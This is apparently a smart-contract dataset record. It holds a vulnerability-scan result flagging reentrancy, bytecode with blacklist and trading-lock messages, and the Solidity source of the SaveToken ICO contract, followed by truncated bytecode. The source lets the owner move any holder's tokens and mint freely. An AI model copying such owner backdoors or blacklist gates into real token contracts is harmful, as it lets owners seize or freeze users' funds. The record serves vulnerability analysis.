12a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122010629a66bfde2bd63d7e505e1c49213993f63552bd82383863428f5dea6cb57564736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,160 |
0x9a9ae6884c65725c8f5378dbb6d3900bff36da53
|
pragma solidity ^0.4.16;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
library SafeMath {
function mul(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) pure internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) pure internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) pure internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint256 public tokenTotalSupply;
function balanceOf(address who) public view returns(uint256);
function allowance(address owner, address spender) public view returns(uint256);
function transfer(address to, uint256 value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns (uint256 availableSupply);
}
/**
* @title Standard ERC20 token
*
* @dev Implemantation of the basic standart token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract SaveToken is ERC20, Ownable {
using SafeMath for uint;
string public name = "SaveToken";
string public symbol = "SAVE";
uint public decimals = 18;
mapping(address => uint256) affiliate;
function getAffiliate(address who) public view returns(uint256) {
return affiliate[who];
}
struct AffSender {
bytes32 aff_code;
uint256 amount;
}
uint public no_aff = 0;
mapping(uint => AffSender) affiliate_senders;
function getAffiliateSender(bytes32 who) public view returns(uint256) {
for (uint i = 0; i < no_aff; i++) {
if(affiliate_senders[i].aff_code == who)
{
return affiliate_senders[i].amount;
}
}
return 1;
}
function getAffiliateSenderPosCode(uint pos) public view returns(bytes32) {
if(pos >= no_aff)
{
return 1;
}
return affiliate_senders[pos].aff_code;
}
function getAffiliateSenderPosAmount(uint pos) public view returns(uint256) {
if(pos >= no_aff)
{
return 2;
}
return affiliate_senders[pos].amount;
}
uint256 public tokenTotalSupply = 0;
uint256 public trashedTokens = 0;
uint256 public hardcap = 350 * 1000000 * (10 ** decimals); // 350 million tokens
uint public ethToToken = 6000; // 1 eth buys 6 thousands tokens
uint public noContributors = 0;
//-----------------------------bonus periods
uint public tokenBonusForFirst = 10; // multiplyer in %
uint256 public soldForFirst = 0;
uint256 public maximumTokensForFirst = 55 * 1000000 * (10 ** decimals); // 55 million
uint public tokenBonusForSecond = 5; // multiplyer in %
uint256 public soldForSecond = 0;
uint256 public maximumTokensForSecond = 52.5 * 1000000 * (10 ** decimals); // 52 million 500 thousands
uint public tokenBonusForThird = 4; // multiplyer in %
uint256 public soldForThird = 0;
uint256 public maximumTokensForThird = 52 * 1000000 * (10 ** decimals); // 52 million
uint public tokenBonusForForth = 3; // multiplyer in %
uint256 public soldForForth = 0;
uint256 public maximumTokensForForth = 51.5 * 1000000 * (10 ** decimals); // 51 million 500 thousands
uint public tokenBonusForFifth = 0; // multiplyer in %
uint256 public soldForFifth = 0;
uint256 public maximumTokensForFifth = 50 * 1000000 * (10 ** decimals); // 50 million
uint public presaleStart = 1519344000; //2018-02-23T00:00:00+00:00
uint public presaleEnd = 1521849600; //2018-03-24T00:00:00+00:00
uint public weekOneStart = 1524355200; //2018-04-22T00:00:00+00:00
uint public weekTwoStart = 1525132800; //2018-05-01T00:00:00+00:00
uint public weekThreeStart = 1525824000; //2018-05-09T00:00:00+00:00
uint public weekFourStart = 1526601600; //2018-05-18T00:00:00+00:00
uint public tokenSaleEnd = 1527292800; //2018-05-26T00:00:00+00:00
uint public saleOn = 1;
uint public disown = 0;
//uint256 public maximumTokensForReserve = 89 * 1000000 * (10 ** decimals); // 89 million
address public ownerVault;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
if (msg.data.length < size + 4) {
revert();
}
_;
}
/**
* @dev modifier to allow token creation only when the hardcap has not been reached
*/
modifier isUnderHardCap() {
require(tokenTotalSupply <= hardcap);
_;
}
/**
* @dev Constructor
*/
function SaveToken() public {
ownerVault = msg.sender;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns (bool success) {
uint256 _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another according to off exchange agreements
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function masterTransferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public onlyOwner returns (bool success) {
if(disown == 1) revert();
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function totalSupply() public view returns (uint256 availableSupply) {
return tokenTotalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns(uint256 balance) {
return balances[_owner];
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) {
revert();
}
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns(uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* @dev Allows the owner to change the token exchange rate.
* @param _ratio the new eth to token ration
*/
function changeEthToTokenRation(uint8 _ratio) public onlyOwner {
if (_ratio != 0) {
ethToToken = _ratio;
}
}
/**
* @dev convenience show balance
*/
function showEthBalance() view public returns(uint256 remaining) {
return this.balance;
}
/**
* @dev burn tokens if need to
* @param value token with decimals
* @param from burn address
*/
function decreaseSupply(uint256 value, address from) public onlyOwner returns (bool) {
if(disown == 1) revert();
balances[from] = balances[from].sub(value);
trashedTokens = trashedTokens.add(value);
tokenTotalSupply = tokenTotalSupply.sub(value);
Transfer(from, 0, value);
return true;
}
/**
* Send ETH with affilate code.
*/
function BuyTokensWithAffiliate(address _affiliate) public isUnderHardCap payable
{
affiliate[_affiliate] += msg.value;
if (_affiliate == msg.sender){ revert(); }
BuyTokens();
}
/**
* Allows owner to create tokens without ETH
*/
function mintTokens(address _address, uint256 amount) public onlyOwner isUnderHardCap
{
if(disown == 1) revert();
if (amount + tokenTotalSupply > hardcap) revert();
if (amount < 1) revert();
//add tokens to balance
balances[_address] = balances[_address] + amount;
//increase total tokens
tokenTotalSupply = tokenTotalSupply.add(amount);
Transfer(this, _address, amount);
noContributors++;
}
/**
* @dev Change owner vault.
*/
function changeOwnerVault(address new_vault) public onlyOwner
{
ownerVault = new_vault;
}
/**
* @dev Change periods.
*/
function changePeriod(uint period_no, uint new_value) public onlyOwner
{
if(period_no == 1)
{
presaleStart = new_value;
}
else if(period_no == 2)
{
presaleEnd = new_value;
}
else if(period_no == 3)
{
weekOneStart = new_value;
}
else if(period_no == 4)
{
weekTwoStart = new_value;
}
else if(period_no == 5)
{
weekThreeStart = new_value;
}
else if(period_no == 6)
{
weekFourStart = new_value;
}
else if(period_no == 7)
{
tokenSaleEnd = new_value;
}
}
/**
* @dev Change saleOn.
*/
function changeSaleOn(uint new_value) public onlyOwner
{
if(disown == 1) revert();
saleOn = new_value;
}
/**
* @dev No more god like.
*/
function changeDisown(uint new_value) public onlyOwner
{
if(new_value == 1)
{
disown = 1;
}
}
/**
* @dev Allows anyone to create tokens by depositing ether.
*/
function BuyTokens() public isUnderHardCap payable {
uint256 tokens;
uint256 bonus;
if(saleOn == 0) revert();
if (now < presaleStart) revert();
//this is pause period
if (now >= presaleEnd && now <= weekOneStart) revert();
//sale has ended
if (now >= tokenSaleEnd) revert();
//pre-sale
if (now >= presaleStart && now <= presaleEnd)
{
bonus = ethToToken.mul(msg.value).mul(tokenBonusForFirst).div(100);
tokens = ethToToken.mul(msg.value).add(bonus);
soldForFirst = soldForFirst.add(tokens);
if (soldForFirst > maximumTokensForFirst) revert();
}
//public first week
if (now >= weekOneStart && now <= weekTwoStart)
{
bonus = ethToToken.mul(msg.value).mul(tokenBonusForSecond).div(100);
tokens = ethToToken.mul(msg.value).add(bonus);
soldForSecond = soldForSecond.add(tokens);
if (soldForSecond > maximumTokensForSecond.add(maximumTokensForFirst).sub(soldForFirst)) revert();
}
//public second week
if (now >= weekTwoStart && now <= weekThreeStart)
{
bonus = ethToToken.mul(msg.value).mul(tokenBonusForThird).div(100);
tokens = ethToToken.mul(msg.value).add(bonus);
soldForThird = soldForThird.add(tokens);
if (soldForThird > maximumTokensForThird.add(maximumTokensForFirst).sub(soldForFirst).add(maximumTokensForSecond).sub(soldForSecond)) revert();
}
//public third week
if (now >= weekThreeStart && now <= weekFourStart)
{
bonus = ethToToken.mul(msg.value).mul(tokenBonusForForth).div(100);
tokens = ethToToken.mul(msg.value).add(bonus);
soldForForth = soldForForth.add(tokens);
if (soldForForth > maximumTokensForForth.add(maximumTokensForFirst).sub(soldForFirst).add(maximumTokensForSecond).sub(soldForSecond).add(maximumTokensForThird).sub(soldForThird)) revert();
}
//public forth week
if (now >= weekFourStart && now <= tokenSaleEnd)
{
bonus = ethToToken.mul(msg.value).mul(tokenBonusForFifth).div(100);
tokens = ethToToken.mul(msg.value).add(bonus);
soldForFifth = soldForFifth.add(tokens);
if (soldForFifth > maximumTokensForFifth.add(maximumTokensForFirst).sub(soldForFirst).add(maximumTokensForSecond).sub(soldForSecond).add(maximumTokensForThird).sub(soldForThird).add(maximumTokensForForth).sub(soldForForth)) revert();
}
if (tokens == 0)
{
revert();
}
if (tokens + tokenTotalSupply > hardcap) revert();
//add tokens to balance
balances[msg.sender] = balances[msg.sender] + tokens;
//increase total tokens
tokenTotalSupply = tokenTotalSupply.add(tokens);
Transfer(this, msg.sender, tokens);
noContributors++;
}
/**
* @dev Allows the owner to send the funds to the vault.
* @param _amount the amount in wei to send
*/
function withdrawEthereum(uint256 _amount) public onlyOwner {
require(_amount <= this.balance); // wei
if (!ownerVault.send(_amount)) {
revert();
}
Transfer(this, ownerVault, _amount);
}
// function getReservedTokens() public view returns (uint256)
// {
// if (checkIsPublicTime() == false) return 0;
// return hardcap - maximumTokensForPublic + maximumTokensForPrivate - tokenTotalSupply;
// }
function transferReservedTokens(uint256 _amount) public onlyOwner
{
if(disown == 1) revert();
if (now <= tokenSaleEnd) revert();
assert(_amount <= (hardcap - tokenTotalSupply) );
balances[ownerVault] = balances[ownerVault] + _amount;
tokenTotalSupply = tokenTotalSupply + _amount;
Transfer(this, ownerVault, _amount);
}
function() external payable {
BuyTokens();
}
}
|
0x6060604052600436106102bf576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063049cc8b1146102c957806306fdde03146102f2578063088b513e14610380578063095ea7b3146103bb5780630dd5e582146104155780630ec5c49a1461048e57806318160ddd146104b45780631d5e3350146104dd5780631e9bf0da1461050057806320e5737114610529578063229f3e291461057e578063230c96b9146105a757806323b872dd146105d5578063313ce5671461064e57806335085b581461067757806335ebbfd1146106a05780633f33252d146106c957806344daf94a146106ec578063506a6a101461071557806352a9cd2d1461073e57806352b860eb146107775780635545f584146107a05780635a9c84f3146107c95780635fe0e081146107f257806365926a201461081e578063676fc32b146108415780636bd7eeeb1461086a5780636d97c6651461089357806370a08231146108bc578063773ef1cf14610909578063789770f4146109325780637ad005891461095b578063833ea3061461099a5780638356a5b5146109c3578063869e0e60146109ec5780638da5cb5b14610a46578063929aa85114610a9b5780639423719b14610ac4578063952d6c2214610aed57806395d89b4114610b16578063975e001a14610ba4578063981b69b714610bcd578063a9059cbb14610bf6578063ad3e0ed214610c50578063b071cbe614610c87578063b1a11c9214610cb0578063b8d2f52314610cd9578063bbc0ebbf14610d02578063bc019eed14610d2b578063c71c890a14610d78578063d81111ab14610da1578063da44e03414610dab578063dd62ed3e14610dd4578063de8801e514610e40578063f03aa26214610e69578063f0dda65c14610e92578063f2fde38b14610ed4578063f7abab9e14610f0d578063fba4734f14610f36575b6102c7610f59565b005b34156102d457600080fd5b6102dc6115e9565b6040518082815260200191505060405180910390f35b34156102fd57600080fd5b6103056115ef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561034557808201518184015260208101905061032a565b50505050905090810190601f1680156103725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561038b57600080fd5b6103a560048080356000191690602001909190505061168d565b6040518082815260200191505060405180910390f35b34156103c657600080fd5b6103fb600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506116fb565b604051808215151515815260200191505060405180910390f35b341561042057600080fd5b610474600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611884565b604051808215151515815260200191505060405180910390f35b341561049957600080fd5b6104b2600480803560ff16906020019091905050611aa3565b005b34156104bf57600080fd5b6104c7611b1a565b6040518082815260200191505060405180910390f35b34156104e857600080fd5b6104fe6004808035906020019091905050611b24565b005b341561050b57600080fd5b610513611d10565b6040518082815260200191505060405180910390f35b341561053457600080fd5b61053c611d16565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058957600080fd5b610591611d3c565b6040518082815260200191505060405180910390f35b6105d3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d42565b005b34156105e057600080fd5b610634600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611de6565b604051808215151515815260200191505060405180910390f35b341561065957600080fd5b6106616120ad565b6040518082815260200191505060405180910390f35b341561068257600080fd5b61068a6120b3565b6040518082815260200191505060405180910390f35b34156106ab57600080fd5b6106b36120b9565b6040518082815260200191505060405180910390f35b34156106d457600080fd5b6106ea60048080359060200190919050506120bf565b005b34156106f757600080fd5b6106ff612130565b6040518082815260200191505060405180910390f35b341561072057600080fd5b61072861214f565b6040518082815260200191505060405180910390f35b341561074957600080fd5b610775600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612155565b005b341561078257600080fd5b61078a6121f5565b6040518082815260200191505060405180910390f35b34156107ab57600080fd5b6107b36121fb565b6040518082815260200191505060405180910390f35b34156107d457600080fd5b6107dc612201565b6040518082815260200191505060405180910390f35b34156107fd57600080fd5b61081c6004808035906020019091908035906020019091905050612207565b005b341561082957600080fd5b61083f60048080359060200190919050506122fc565b005b341561084c57600080fd5b610854612372565b6040518082815260200191505060405180910390f35b341561087557600080fd5b61087d612378565b6040518082815260200191505060405180910390f35b341561089e57600080fd5b6108a661237e565b6040518082815260200191505060405180910390f35b34156108c757600080fd5b6108f3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612384565b6040518082815260200191505060405180910390f35b341561091457600080fd5b61091c6123cd565b6040518082815260200191505060405180910390f35b341561093d57600080fd5b6109456123d3565b6040518082815260200191505060405180910390f35b341561096657600080fd5b61097c60048080359060200190919050506123d9565b60405180826000191660001916815260200191505060405180910390f35b34156109a557600080fd5b6109ad612410565b6040518082815260200191505060405180910390f35b34156109ce57600080fd5b6109d6612416565b6040518082815260200191505060405180910390f35b34156109f757600080fd5b610a2c600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061241c565b604051808215151515815260200191505060405180910390f35b3415610a5157600080fd5b610a596125af565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610aa657600080fd5b610aae6125d5565b6040518082815260200191505060405180910390f35b3415610acf57600080fd5b610ad76125db565b6040518082815260200191505060405180910390f35b3415610af857600080fd5b610b006125e1565b6040518082815260200191505060405180910390f35b3415610b2157600080fd5b610b296125e7565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b69578082015181840152602081019050610b4e565b50505050905090810190601f168015610b965780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610baf57600080fd5b610bb7612685565b6040518082815260200191505060405180910390f35b3415610bd857600080fd5b610be061268b565b6040518082815260200191505060405180910390f35b3415610c0157600080fd5b610c36600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612691565b604051808215151515815260200191505060405180910390f35b3415610c5b57600080fd5b610c716004808035906020019091905050612843565b6040518082815260200191505060405180910390f35b3415610c9257600080fd5b610c9a612878565b6040518082815260200191505060405180910390f35b3415610cbb57600080fd5b610cc361287e565b6040518082815260200191505060405180910390f35b3415610ce457600080fd5b610cec612884565b6040518082815260200191505060405180910390f35b3415610d0d57600080fd5b610d1561288a565b6040518082815260200191505060405180910390f35b3415610d3657600080fd5b610d62600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612890565b6040518082815260200191505060405180910390f35b3415610d8357600080fd5b610d8b6128d9565b6040518082815260200191505060405180910390f35b610da9610f59565b005b3415610db657600080fd5b610dbe6128df565b6040518082815260200191505060405180910390f35b3415610ddf57600080fd5b610e2a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506128e5565b6040518082815260200191505060405180910390f35b3415610e4b57600080fd5b610e5361296c565b6040518082815260200191505060405180910390f35b3415610e7457600080fd5b610e7c612972565b6040518082815260200191505060405180910390f35b3415610e9d57600080fd5b610ed2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612978565b005b3415610edf57600080fd5b610f0b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612b33565b005b3415610f1857600080fd5b610f20612c0a565b6040518082815260200191505060405180910390f35b3415610f4157600080fd5b610f576004808035906020019091905050612c10565b005b600080600a5460085411151515610f6f57600080fd5b60006023541415610f7f57600080fd5b601c54421015610f8e57600080fd5b601d544210158015610fa25750601e544211155b15610fac57600080fd5b60225442101515610fbc57600080fd5b601c544210158015610fd05750601d544211155b15611069576110116064611003600d54610ff534600b54612d7e90919063ffffffff16565b612d7e90919063ffffffff16565b612db190919063ffffffff16565b905061103a8161102c34600b54612d7e90919063ffffffff16565b612dcc90919063ffffffff16565b915061105182600e54612dcc90919063ffffffff16565b600e81905550600f54600e54111561106857600080fd5b5b601e54421015801561107d5750601f544211155b1561113e576110be60646110b06010546110a234600b54612d7e90919063ffffffff16565b612d7e90919063ffffffff16565b612db190919063ffffffff16565b90506110e7816110d934600b54612d7e90919063ff